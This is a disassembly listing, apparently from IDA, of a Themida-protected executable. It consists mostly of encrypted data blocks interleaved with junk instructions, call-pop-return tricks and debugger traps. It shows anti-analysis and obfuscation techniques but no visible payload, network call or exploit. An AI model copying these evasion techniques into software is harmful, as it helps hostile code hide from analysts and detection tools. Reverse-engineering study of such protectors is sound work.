		dd 91ACF512h, 6453A542h, 0C8050EFFh, 0E20AE62Bh, 0C5860CE6h
		dd 6F229A69h, 40E4760Dh, 0BD862CAAh, 2DA61348h,	6FB61006h
		dd 947842C1h, 796E2C5Ch, 2ABBF93Ah, 2D8037D6h, 1E1122Ch
		dd 0DEFA0000h, 28176DD5h, 0F7C3BDEFh, 8EE20A73h, 9962B15Ch
		dd 94067115h, 0A88CF6C3h, 0C246E024h, 52A60E1Bh, 47BB9F63h
		dd 0A1BAC29Ch, 2AE33BBh, 4DF2BD9Fh, 0B50512AFh,	734E5924h
		dd 0B9574B8Fh, 549C605Ah, 3A613834h, 0DE32B3E1h, 2C35322Fh
		dd 1F6B830Dh, 903A6130h, 54E57CAAh, 3000000h, 9AE30D6Fh
		dd 0D6CE067Ch, 0D83C00C5h, 2E3C1074h, 823C3F9Ch, 2AF7BB90h
		dd 10C968FCh, 0B9CBBD9Fh, 60F65135h, 42ECD63Ah,	0D909FDC5h
		dd 3A60F6A9h, 23A9247Ch, 14D4C0BCh, 5FF86B81h, 9139CFA3h
		dd 3426C0FCh, 2C34FA15h, 98A5FA2Bh, 0D0EB6Eh, 0DE750000h
		dd 0A514F8D5h, 68FA605Fh, 941D80C4h, 43307C3h, 9B0279C2h
		dd 0CC44E277h, 4A758F7Eh, 0E96482C6h, 6CDDA19Ch, 3054D81Bh
		dd 0B7C394EBh, 62F46F43h, 0C394EEBCh, 9A597481h, 0BF8A9F0Eh
		dd 0D46F0D91h, 94ADD906h, 2ADAEB37h, 0DFA72FCh,	9EBD99DEh
		dd 3247B6A4h, 0F507E907h, 72F24A46h, 4EFB91C1h,	0DD675E09h
		dd 0A9A442A6h, 0FFE6C53h, 387ECFFAh, 0B751B519h, 63C9D33Ch
		dd 7C50241Bh, 0D518CF18h, 1BEF8660h, 12FA4h, 605FAB00h
		dd 360312F3h, 98B1C02Dh, 6D54AA5Bh, 3C0319F6h, 0B2499027h
		dd 638C576Eh, 0D33C271Ah, 0BC698AC5h, 74855E6Bh, 0E1470F4h
		dd 2C9BC586h, 0FBDADEB4h, 0F201EC78h, 14D520DFh, 65C406CFh
		dd 43142CBh, 0D5DE39DFh, 0CBB9023h, 0C82CC6C5h,	0ABA6F322h
		dd 0CD45E327h, 253E0B1Ch, 0D2182379h, 74CC1B40h, 3747AD18h
		dd 0EE29BEEAh, 0B7511432h, 9EFC882Fh, 0DC2794BDh, 0BA21E027h
		dd 7149C660h, 5DAC59EBh, 5676129Ah, 81F93A60h, 4BE5D9ADh
		dd 5C87BEC2h, 6056BACAh, 0D3EE3B3Ah, 0A29DE700h, 8A79DEh
		dd 6F830000h, 5AE4760Dh, 1824B4E5h, 20446C43h, 0C394A1A4h
		dd 55F3D72Bh, 86906F81h, 509AE0BDh, 906453A5h, 8CBBCDBCh
		dd 262AC438h, 0CC172277h, 17FBD623h, 9F7696C5h,	4C9A453Eh
		dd 0C936D2A2h, 0F42E8CF1h, 0CA0710F9h, 9EABFC29h, 43B432Ah
		dd 0FE0F85B0h, 22310C19h, 0F49014A6h, 7569F716h, 52A81722h
		dd 714C59B4h, 1ECA8Dh, 94260000h, 0C51EFF27h, 343CD3A5h
		dd 69F72B50h, 0E7B638D7h, 7D6FEEFEh, 6A67B019h,	9C8446BCh
		dd 9FDD4DEh, 967A57A0h,	12E6D127h, 9B6F52ABh, 63D7EE32h
		dd 0EB5F66BAh
		dd 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 68242C89h,	322Bh, 68243489h
		dd 1BF6h, 55240489h, 0CE2198BDh, 10B8500Ah, 0F76D145Ch
		dd 8D1E05D0h, 0C53179F0h, 5DEE8958h, 8904EC83h,	4832424h
		dd 52580424h, 8BAh, 89C20100h, 24148B32h, 0FF04C483h, 81582434h
		dd 4C4h, 2434FF00h, 4C4815Eh, 0E9000000h, 0FFF969FBh, 5B9C1B5Ch
		dd 0B67BCBA5h, 82EAC245h, 1214C9B8h, 0FFC50306h, 0F6E5EFE0h
		dd 63ED4B0Ch, 0F3CEF443h, 0F900514h, 0C4684068h, 3800F924h
		dd 8A6EEA71h, 5060D752h, 0E1257B4Ch, 9F28E27Dh,	0CDDB447Fh
		dd 2B33659h, 69F2E94Eh,	321E4A4Fh, 0D872A507h, 40CCC444h
		dd 0B181D23h, 11592904h, 96293D75h, 0D0B8686Dh,	57304103h
		dd 0B1A7FB1Ah, 4A0EA13h, 0CDB60166h, 14E83Bh, 0D5C00000h
		dd 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h,	0BF66F325h
		dd 0F95BB240h, 6CDCC381h, 0FA8B0000h, 0B8h, 99BA6600h
		dd 1834FF9Fh, 8850Fh, 50600000h, 0A6BF6659h, 0F59613Eh
		dd 0C181F1BFh, 6EB21B4Eh, 6880Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
		add	ecx, 7F8683E0h
		jnp	loc_5AD6C1
		jnb	loc_5AD6C1
		and	dl, 0BFh


loc_5AD6C1:				; CODE XREF: Themida_:005AD6B2j
					; Themida_:005AD6B8j
		xor	ecx, 2C736FB6h
		adc	si, 347Ch
		push	ecx
		jmp	loc_5AD6DA
; ---------------------------------------------------------------------------
		pop	gs
		or	[esi-66813E1Eh], ah


loc_5AD6DA:				; CODE XREF: Themida_:005AD6CDj
		pop	dword ptr [ebx+eax]
		movzx	edi, dx
		call	sub_5AD6F9
		int	3		; Trap to Debugger
		or	[ebx+5AADBF2Bh], dl
		jmp	far ptr	3F9h:1B2736CAh
; ---------------------------------------------------------------------------
		db 32h
		dd 36E96AE0h
		db 84h

; =============== S U B	R O U T	I N E =======================================



sub_5AD6F9	proc near		; CODE XREF: Themida_:005AD6E0p

; FUNCTION CHUNK AT 005AD780 SIZE 0000001E BYTES

		pop	esi
		sub	eax, 76589AFh
		movzx	edx, bx
		add	eax, 76589ABh
		jmp	loc_5AD71F
; ---------------------------------------------------------------------------
		dw 3C64h
		dd 0A1057717h, 5535E90Bh, 241D61C6h
		db 97h,	0DCh, 5Eh
; ---------------------------------------------------------------------------


loc_5AD71F:				; CODE XREF: sub_5AD6F9+10j
		cmp	eax, 0FFFF9418h
		jnz	loc_5AD73D
		or	dx, 686Bh
		jmp	loc_5AD752
; ---------------------------------------------------------------------------
		db 0DBh, 83h, 5
; ---------------------------------------------------------------------------
		and	eax, 75C2BE03h


loc_5AD73D:				; CODE XREF: sub_5AD6F9+2Cj
		sbb	edi, 38633906h
		jmp	near ptr dword_5AD560+125h
; ---------------------------------------------------------------------------
		dd 7A46CD5Fh, 0A36E7519h
; ---------------------------------------------------------------------------
		jnp	short loc_5AD780


loc_5AD752:				; CODE XREF: sub_5AD6F9+37j
		lea	ecx, [ebp+6121765h]
		push	0
		push	eax
		call	sub_5AD763
		and	[eax-3Dh], bl
sub_5AD6F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AD763	proc near		; CODE XREF: sub_5AD6F9+62p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5AD763	endp

; ---------------------------------------------------------------------------
		db 33h
		dd 0E759251Bh, 0BF0FF08Bh, 4D8D89F9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6F9


loc_5AD780:				; CODE XREF: sub_5AD6F9+57j
		pop	ss
		or	eax, [esi]
		mov	[ebp+60B001Dh],	edx
		mov	dword ptr [ebp+60B0119h], 68C4h
		push	0
		push	ebx
		call	sub_5AD79E
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5AD6F9

; =============== S U B	R O U T	I N E =======================================



sub_5AD79E	proc near		; CODE XREF: sub_5AD6F9+9Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5AD79E	endp

; ---------------------------------------------------------------------------
		dw 0A5E5h
; ---------------------------------------------------------------------------
		aad	47h
		test	[edx+edx*2-7623A399h], bl
		lea	eax, [ecx-48F9F4CFh]
		cmc
		mov	dword ptr [ebp+60B1009h], 0
		push	dword ptr [ebp+60B1AA9h]
		push	0
		push	esi
		call	sub_5AD7DB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD7DB	proc near		; CODE XREF: Themida_:005AD7D3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5AD7DB	endp

; ---------------------------------------------------------------------------
		dec	ebp
		lodsd
		xor	bl, bl
		ficom	word ptr [ebp+51h]
		mov	ah, 20h
		and	cl, [ebx+0B22259Dh]
		push	es
		call	dword ptr [ebp+60B0AC5h]
		clc
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_5AD85D
; ---------------------------------------------------------------------------
		dw 0AB6Ah
		dd 0CF7CE3BAh, 7869F6BEh, 562233D3h, 0FB7E137Bh, 4FB10B69h
		dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h
		dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h,	19AF0878h
		dd 8C4CA90h, 0CBE583FBh, 0AB312E3Bh, 0B139639Bh
		db 8Dh
; ---------------------------------------------------------------------------


loc_5AD85D:				; CODE XREF: Themida_:005AD80Cj
		jmp	short loc_5AD863
; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		cmp	dl, [ebp+61h]


loc_5AD863:				; CODE XREF: Themida_:loc_5AD85Dj
		jmp	loc_5AE5A1
; ---------------------------------------------------------------------------
		push	6121977h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6121AA8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6121C94h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	6121DB4h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	612212Ah
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	612227Fh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	612236Eh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0C2D4h
		dd 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h,	3E259C47h
		dd 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h
		dd 30C58605h, 0D5DEDB41h, 4CE072F8h, 0C3941D38h, 178C4B8Fh
		dd 578DA593h, 67D63AD4h, 295DD112h, 0FEC3940Ch,	288DC14h
		dd 9CE651E7h, 1365D4B8h, 0EFA55024h, 0D1EC39DEh, 1175F90Bh
		dd 96C39462h, 4E182ACh,	0EA1BC1FCh, 0E024A895h,	3740AD46h
		dd 0FB4F7A8Fh, 6EDFA387h, 0B9CB2825h, 68FC374Ch, 0C394621Ch
		dd 0A14BAF93h, 9462790Dh, 5AF4CEC3h, 3B213A42h,	9F662EB3h
		dd 573B1FBDh, 6164EF9Fh, 6F7E3A3Ah, 35867495h, 2F5D2Ch
		dd 6FBB0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh,	3A60CB30h
		dd 0E46867B1h, 6CD0EF35h, 0A35E65BDh, 77AAE4E1h, 0C168A02Dh
		dd 0E82C35C6h, 0D9h, 0F8D5DE74h, 46798372h, 98709EF2h
		dd 675AA352h, 13C44C9h,	2530AFBDh, 941D9F45h, 3E4BC26Ch
		dd 0D82CD903h, 8FF7931Bh, 278C394h, 0C208002Eh,	0FA8E26B0h
		dd 4DC3948Fh, 8F89FD75h, 241EC394h, 0DBF6030Ah,	8A299618h
		dd 314C394h, 0B7C02D36h, 0A6F6369Ah, 0D2274F9Dh, 13BD9F8Eh
		dd 126A342Fh, 214BE309h, 9A446CEFh, 3D4BBAA0h, 526DBB02h
		dd 0F27CAAEEh, 1DC6F903h, 5A95A8F0h, 8C6B7BC8h,	0DB78DF2Bh
		dd 0A900000Ah, 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h
		dd 9221320Dh, 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh
		dd 7EF67A87h, 0C586040Ah, 0BDB62E9Dh, 0DE084150h, 0C02A156Fh
		dd 9AC0259Bh, 94537612h, 7681F9C3h, 0F40D4C61h,	0B83BD5C9h
		dd 0D40F3A4Fh, 760D6F2Ch, 0D7EA39E4h, 9E3FB739h, 0EFBD9F05h
		dd 455441ABh, 0A24C8074h, 0CBC686AEh, 3E473A60h, 0CB1571F5h
		dd 0A09A3A60h, 711F84Ch, 160C44C8h, 9A46FB97h, 406B7C25h
		dd 608EAF7Fh, 0B33D4746h, 60634F3Bh, 7E21C03Ah,	93F55681h
		dd 7CDE086Ch, 2C35A1CDh, 0CAE4h, 50BD0000h, 4E82764Bh
		dd 6D58ADA0h, 0D5E83099h, 185EC161h, 0D421C394h, 3FEE7AF9h
		dd 0DE2FD9E8h, 0C614F8D5h, 0E65430B4h, 0E7DB3C6Bh, 0EA277549h
		dd 6BE60642h, 5DB1893Ch, 1BDE7D8Fh, 0B449B1C9h,	0F3C68EB8h
		dd 744260BBh, 0F389D50Eh, 136A8268h, 0EC446D03h, 40594496h
		dd 0C367638Bh, 92E83072h, 58F6CABEh, 0F91D6796h, 0FBD2F80Ah
		dd 0D50E62DAh, 2F4BE45Bh, 3FE0D849h, 0D9E43C11h, 6CBC060Eh
		dd 1AFD558Ch, 9AAh, 0CE152C76h,	78FBD621h, 964D7C8Fh, 0C1122179h
		dd 72E1DC24h, 3B419CC3h, 0E92EDF04h, 969E0FD4h,	3E4BA4BFh
		dd 0C12BD003h, 8607D9ADh, 79DFAEC5h, 78FBDADEh,	944F7A8Fh
		dd 0AE95ED18h, 417E6DAh, 0DE251B35h, 0C614F8D5h, 1D5430B4h
		dd 3EB6C394h, 0C3941D4Ah, 201AE5DDh, 0C7F20706h, 1DFA8A1Ch
		dd 2E7BC394h, 0D227C013h, 7D8875E7h, 6A84F84Ch,	0D7E237E6h
		dd 4ABBB563h, 0C2E4023Fh, 69C9DAC3h, 2AC92D10h,	0EC980C9Eh
		dd 0EC3941Dh, 941DE2E6h, 0A21D65C3h, 3A8EB5CDh,	0DA44E2C6h
		dd 3240F133h, 0B61Eh, 19639200h, 93EB5226h, 0B89E48ACh
		dd 0E4760D6Fh, 9F0C4D40h, 14F8C2BDh, 60D0ACDCh,	2F3793Ah
		dd 1D71C5FCh, 0DC34B1F3h, 2C34DA2Dh, 8604h, 10699400h
		dd 7E526FB8h, 50BD6AD0h, 0C356AE48h, 7F1D106Eh,	6819ED1Bh
		dd 5AC39430h, 0BB333942h, 0BD9F2836h, 0C7203307h, 94F074BDh
		dd 1B3A611Eh, 0ED7FC327h, 1EBFCB63h, 0C95D3A61h, 3A611EBDh
		dd 0B4FC832h, 0A0BBC1DDh, 1C1332BAh, 261C446Ah,	89C4D03Dh
		dd 506DB263h, 8A7EA8ECh, 9CE40A92h, 85F9DDA1h, 0DEA6DF57h
		dd 0C3374E76h, 0E20A9410h, 2E4AC2E6h, 0F71169h,	562h, 0AEDA52DCh
		dd 212E4AC2h, 6FC92FD9h, 40E4760Dh, 0BD9F24D1h,	46DBBF5Eh
		dd 520C2BF1h, 2A5A8A7Eh, 0FF3A603Ch, 39D028A5h,	102C342Eh
		dd 532h, 2E3A46FCh, 0DFABC34Eh,	50C3941Dh, 40E4766Ah, 0BD9F0545h
		dd 4D9FF0CAh, 0A8EE5AA0h, 8DC1B5A9h, 0D42C9363h, 0DAA2E2A5h
		dd 26139B41h, 7EDB08Bh,	4D2F4F33h, 805D2CEDh, 443586B6h
		dd 3A200435h, 0BD70CAB2h, 8F5DA5F7h, 3B38151Eh,	0F3971FA9h
		dd 74878238h, 3D4E77D5h, 564A6E3Bh, 754055B8h, 3C9364FAh
		dd 0DCB3973Ch, 7BEh, 0D201384Ah, 0CD7E235h, 0BAB990E3h
		dd 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h,	0A2F213C0h
		dd 4A5F48ABh, 0D517E47Fh, 86013551h, 55CBBAC5h,	94450BDh
		dd 0A6A74185h, 9C9C605Dh, 6D198D00h, 0E2C3941Dh, 9B6A498h
		dd 64B726CBh, 92ADE155h, 193737D0h, 0BEADF57h, 77BBD9Fh
		dd 0E1DC28D5h, 5D0F391Dh, 8A6964B0h, 2E3C0B1Dh,	2A9EA9FFh
		dd 20043B43h, 0A6220206h, 5E3A6111h, 3A61212Eh,	77E57E1Eh
		dd 6A049AFFh, 0A3176B44h, 7DC8C383h, 5B4A1630h,	0B5897D4Ch
		dd 748C199Bh, 262AC5D5h, 3AFCh,	0D6F1800h, 0AB5AE476h
		dd 3FC76158h, 0BD9F1F2Ah, 0A615C73Bh, 630B9D89h, 0CC608A27h
		dd 3A6057B8h, 351DCB0Fh, 75119527h, 0FA3A6057h,	29707780h
		dd 5C7B2574h, 294DB2h, 6FD70000h, 40E4760Dh, 0BD9F299Dh
		dd 0B4898E7Fh, 96F27AC0h, 193A60F7h, 2423CD21h,	35E06ADEh
		dd 0D0990EE0h, 4872212Bh, 0BD44BA54h, 1DCFBB33h, 7A40C394h
		dd 193441CCh, 532B72CEh, 0F649B980h, 69Eh, 3221186Ah, 6CF7C2D5h
		dd 9A597083h, 352E156Dh, 66FDC0D8h, 2F7588DFh, 0DD22C310h
		dd 829273E0h, 2A7FA84Bh, 3537C41Fh, 8600D5B1h, 75EB5AC5h
		dd 0E4760D6Fh, 1DB6D25Ah, 0E237C394h, 502F63D7h, 0E810CCB1h
		dd 4EA2BA53h, 7BA6CEA0h, 0CCBD9F46h, 4A98EC00h,	2B6F3A61h
		dd 0CF94337h, 478CCFDh,	0E01663EAh, 6545334Fh, 0F50DFC0Bh
		dd 22067ACEh, 0F825B731h, 0D5299DA0h, 615F691Dh, 911FE3Ah
		dd 0AC38D6CAh, 652A505Dh, 881900BFh, 0B7C67B3h,	77BCFF2h
		dd 0E2B90523h, 0C94307AFh, 0BACA113Eh, 7CDB3F83h, 65312206h
		dd 0BC839917h, 0F71A9258h, 486F35FDh, 0C8DF8E72h, 603C7AF9h
		dd 0F89D11DBh, 20710146h, 8A6A1E96h, 10FD0500h,	38D6CA07h
		dd 0D313E7DBh, 5008AB3h, 0E345FA66h, 0EB96A9CCh, 310C14E5h
		dd 0F8109D17h, 0F8D46651h, 15878h, 824BF000h, 0D4C33227h
		dd 6F160C3Ah, 40E4760Dh, 0BD9F345Dh, 74494EBFh,	0B1057DDAh
		dd 5182BFC8h, 0E25663B4h, 2BF78342h, 4819B65h, 0A4BF8A9Fh
		dd 0D9033E4Bh, 0A2F3B062h, 0B2967A57h, 96A54785h, 45E3DE27h
		dd 79ED7FCDh, 113DD60Dh, 0C68EB882h, 4E76D907h,	0FF437286h
		dd 7FCE030Eh, 70B51928h, 2CE9A520h, 0EE9A129Ch,	6168CA8Ch
		dd 8C0347EFh, 0BE8468CAh, 0FB0AAC5Ah, 2F340112h, 0C66EB5FEh
		dd 68CA8C82h, 7FC3FE0Bh, 9446BC1Bh, 0CA8C7410h,	0A387FB68h
		dd 0A5BADFDFh, 8C2B3FB7h, 0C63C68CAh, 203B411Dh, 0F347853Ah
		dd 0E641D64Dh, 0A05F0140h, 0E50323FCh, 16E30Bh,	0E3D716C1h
		dd 0FD65AE1Fh, 0BFA498A7h, 8408454Eh, 0C6C5C0ACh, 2EBFF566h
		dd 0F06735AAh, 5577FE4Dh, 744152BBh, 0BAE147EFh, 0BEDDEA92h
		dd 68AFDB53h, 0D94DF36Ah, 0F36A68ADh, 1B7FD822h, 0C6D33C27h
		dd 93FA618Bh, 0A10C015Fh, 955DB553h, 0D2DDA01h,	8D21B3B1h
		dd 692318F9h, 0B994E14Eh, 739DF1D5h, 3A4FB431h,	181175F9h
		dd 0AC966923h, 9FDC8DDh, 8602D135h, 4C300F17h, 1A6FDE08h
		dd 39435B2Fh, 0E4833822h, 995AE0FDh, 79ED7FA9h,	1728C2A4h
		dd 70415439h, 0FCCBDD8Ch, 58BFA498h, 49h, 0E30D6FE0h, 0F1D5B990h
		dd 0C2274F9Dh, 3BD9F1Fh
		dd 0B8C02D3Fh, 36E76B85h, 0AA01D2EFh, 0A5F41881h, 0A5134892h
		dd 10E3078Bh, 427D8B72h, 826C9AFEh, 6009166Ah, 119843Ah
		dd 0DC0A4E32h, 6AD11B7Fh, 9066D056h, 7141EF78h,	6DD5DE8Fh
		dd 7B5F231Eh, 0FA82DC07h, 0B273FB61h, 3BBD9F23h, 798B15C7h
		dd 60E991F5h, 242C163Ah, 3A60E9A0h, 0BB35D327h,	0D0033A4Ah
		dd 0F55FA954h, 0C8BC90AFh, 0A5F35AF4h, 0B6C626AAh, 6ADEE338h
		dd 0FD283216h, 0C3FE0BA5h, 7AF41EFh, 446BEE02h,	9B4B3F03h
		dd 307DC3EBh, 0B0BAC1DBh, 7D5B50Bh, 0A5430334h,	0DA36A3CBh
		dd 43B74E77h, 0E3E70F99h, 642E49E6h, 0C818F01Eh, 2E49E6B8h
		dd 6FD3EE39h, 0F55978BEh, 7608859Fh, 0CCC4C1D3h, 201EEC1Dh
		dd 1634h, 0D6FD000h, 6540E476h,	0EABD9F1Fh, 0E3C7F205h
		dd 2DB81Fh, 6FC00000h, 5AE4760Dh, 941DB6D2h, 27C139C3h
		dd 293C2145h, 52DCBD9Fh, 0EE6659A3h, 3A60F69Ah,	0AFC7156Dh
		dd 3A60F6DBh, 5BB856ACh, 0DE3D9367h, 1B6FF8D5h,	2880532Ch
		dd 32865DAh, 0A2F40000h, 485F48ABh, 0FE0DFA79h,	0AFF710C3h
		dd 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh, 263D081Ch
		dd 5281BCC9h, 5F2B43A9h, 0D0C5863Ch, 0D5DEFB61h, 708372F8h
		dd 7791F559h, 485C4993h, 0DFA392E8h, 0E46987FBh, 2AB4A693h
		dd 5393AEFBh, 0C3941D37h, 0C3A442B8h, 0A9A90993h, 0A4B91331h
		dd 961ECC20h, 0BD9FB80Bh, 7544533Ch, 0C585AD11h, 103A6186h
		dd 5E8F0580h, 4B2C35A8h, 31h, 760D6F95h, 0D1EC39E4h, 8031B537h
		dd 0EDBD9F05h, 41012195h, 943A60CBh, 0E20B810Ch, 0D82C35C6h
		dd 18ECDB2Dh, 0E0546BB1h, 0DB9E48ACh, 0E7h, 4150BD25h
		dd 0A6408408h, 0F56752A7h, 0FFD6DD46h, 0F8161FD7h, 0C3DBCA10h
		dd 0A1FB52FCh, 7EC2FD0Bh, 0EB52261Ah, 0DCE1369Eh, 748372F8h
		dd 0F6A7AB45h, 0CC2F4BADh, 0F682779Dh, 72DD4192h, 0CDC39492h
		dd 0B9568DB8h, 8DED516Ch, 748654EFh, 0C2E6FAC7h, 859082FEh
		dd 90E950B4h, 0AF383ADh, 8EBD9FA5h, 4B3F0A1Fh, 957AD977h
		dd 618AB580h, 0ACAE2B3Dh, 0F672E1C5h, 2BC5F407h, 0E8720993h
		dd 6C2B8544h, 2A300A44h, 459EA1FBh, 139B50A8h, 3073F177h
		dd 0F1751195h, 80FA3073h, 60EFC337h, 8C6B401Ch,	0D300C743h
		dd 0A1000001h, 8E57E55h, 0F617CCFDh, 0A04D96ABh, 0FF87B5Ah
		dd 0AA29CAF5h, 6D50A843h, 3D0019F6h, 80BFC926h,	5461B253h
		dd 46EE028Fh, 0C5863F02h, 0DE4E3685h, 8F78FBDAh, 709D4F7Ah
		dd 6EA2162Bh, 6FD127C0h, 39E4760Dh, 0BB35D3EEh,	9F058233h
		dd 2397EBBDh, 60CB4303h, 0B8CA963Ah, 60CB5034h,	1AE3D73Ah
		dd 9315330Ah, 0C74FFE12h, 0B87A2C35h, 82000000h, 14F8D5DEh
		dd 9C605FA5h, 7B465F4Eh, 189639CDh, 1B8AC394h, 774B3F02h
		dd 162374D9h, 0FAD720CDh, 3A4EE670h, 8D3C6BE6h,	82BFC4B5h
		dd 0F08CEC64h, 846D816Bh, 794260D1h, 0F884D201h, 0BE6FF963h
		dd 91F55978h, 0F5A7234Bh, 0D2283A60h, 6542A034h, 0B58D446Dh
		dd 102D76A7h, 738974F6h, 0FDF42997h, 0D4289CABh, 6F03082Bh
		dd 0B15CE80Bh, 50BD6B66h, 0ACFA7548h, 4F8C6BC9h, 0E404FBh
		dd 66B00000h, 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h,	1A1E8F54h
		dd 5299383Bh, 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h
		dd 1377FF6Dh, 94C5863Eh, 0DADEBF25h, 7A8F78FBh,	0DE6C944Fh
		dd 0CD72F8D5h, 2109C9Ch, 43C7613Ch, 0AEBC899Ah,	732D3931h
		dd 0F71174EAh, 0F205F07Ch, 0F11F73C7h, 0A6B4CFADh, 86DF850Eh
		dd 0F84CB6BDh, 495C0411h, 2EDF0478h, 0CC64E8E5h, 0A53DCF63h
		dd 0AFECBDAh, 916554A3h, 81E1DC28h, 601AABh, 3FE87DE2h
		dd 0F02079FCh, 0A8515C56h, 14F1625Fh, 9B423603h, 7FAEBC83h
		dd 18F01E29h, 0E46867B1h, 60D4E335h, 5AFD0822h,	2D8AF31Ah
		dd 0AD684C0Eh, 0C9DEA01Fh, 8BF68CF6h, 0A54A5B5Dh, 11FE6550h
		dd 8245C904h, 16h, 60A7E15Eh, 625A68E5h, 25C3271Eh, 4A50BD3Fh
		dd 0A543870Bh, 0D4DE02F2h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 0DE0h, 56240C89h,	0C681E689h, 4, 4EE81h
		dd 34870000h, 14895C24h, 19636824h, 1C890000h, 348DBA24h
		dd 0CA817BA5h, 71D77D36h, 9A4BBB53h, 0DA018A1Ah, 4EC815Bh
		dd 89000000h, 4832424h,	525B0424h, 1DE8B850h, 44310B5Bh
		dd 8F580424h, 73810843h, 5B1DE808h, 241C8B0Bh, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 5A2434FFh, 4C481h, 40E90000h
		dd 0C9FFF95Ah, 0E4896FC0h
		db 15h
; ---------------------------------------------------------------------------


loc_5AE5A1:				; CODE XREF: Themida_:loc_5AD863j
		mov	eax, 6122477h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		xor	cl, bh
		movsb
		pop	ecx
		add	ecx, [ecx+ecx*4+2C3F5D54h]
		daa
		aaa
		pop	es
		pop	ecx
		inc	eax
		retn	2ABCh
; ---------------------------------------------------------------------------
		push	cs
		jz	short loc_5AE60B
		push	ss
		inc	eax
		mov	ds:396354B6h, eax
		jnp	short loc_5AE643
		pop	esi
		jno	short loc_5AE601
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------
		dw 48A4h
		dd 3F9A6E60h, 0B4735836h
		db 77h,	6Fh
; ---------------------------------------------------------------------------


loc_5AE5DA:				; CODE XREF: Themida_:005AE63Fj
		mov	al, 2
		cmp	[eax-15h], bl
		add	al, 7Ch
; ---------------------------------------------------------------------------
		db 0F0h, 88h, 74h
; ---------------------------------------------------------------------------


loc_5AE5E4:				; CODE XREF: Themida_:005AE645j
		jmp	loc_5AEB36
; ---------------------------------------------------------------------------
		db 9Bh,	8Fh, 0B0h
		dd 63342A3h, 0E8E130DDh, 0BD849A0Bh, 0C3349A6h,	0E27960D7h
; ---------------------------------------------------------------------------
		sahf


loc_5AE601:				; CODE XREF: Themida_:005AE5CAj
		cmpsd
		mov	esp, 0EC774A53h
		add	esi, ebp
		ficomp	dword ptr [ecx]


loc_5AE60B:				; CODE XREF: Themida_:005AE5BEj
		in	al, dx
		wait
		scasb
		mov	ch, 44h
		movsb
		add	[eax+edi-7Ah], al
; ---------------------------------------------------------------------------
		db 0C5h, 0CBh, 7Ch
		dd 0F8D5DE84h, 605FA514h, 340112F3h, 0B18C9940h, 0E3091CCDh
		dd 1DBBD719h, 90E554C9h, 99FDD1A5h, 0C6C7DD35h
; ---------------------------------------------------------------------------


loc_5AE63C:				; CODE XREF: Themida_:005AE64Fj
		inc	edx
		push	ebx
		dec	ebx
		loope	loc_5AE5DA
; ---------------------------------------------------------------------------
		db 0BAh, 46h
; ---------------------------------------------------------------------------


loc_5AE643:				; CODE XREF: Themida_:005AE5C7j
		repne sahf
		jo	short loc_5AE5E4
		mov	[ebp+3F49A6h], bh
		sal	dword ptr [edx], cl
		loop	loc_5AE63C
		db	67h
		mov	dh, 61h
		pop	esp
		call	near ptr 52111DA7h
		inc	edi
		or	bl, ch
		cmp	ch, cl
		fsubr	qword ptr [eax-8]
		mov	[esp+edx*4-45B4BE3Dh], ebx
		db	36h
		mov	[esp+esi*2], edi
		mov	[edi+4Fh], ch
		mov	fs, word ptr [eax-2]
		dec	edi
		mov	dl, 41h
		xor	bh, [edx+66h]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0F8D5DE82h, 0CFD7C614h, 0C73B1665h, 0BE45F638h, 173174B2h
		dd 94E43D4Fh, 32B3C9C3h, 41EA2FDEh, 11A32h, 0DEE20000h
		dd 0C416FAD7h, 1D5632BAh, 0E1D9C394h, 17BFC647h, 6C51A60Eh
		dd 6C40A498h, 0EAE93198h, 0F9F42E66h, 394DE173h, 8EC3941Dh
		dd 1D5E2A42h, 0E9D1C394h, 0A3F25BF5h, 0E6DAF503h, 4A87907Dh
		dd 0DADE6BA9h, 5FA617FBh, 1D741094h, 71FBC394h,	941D89FDh
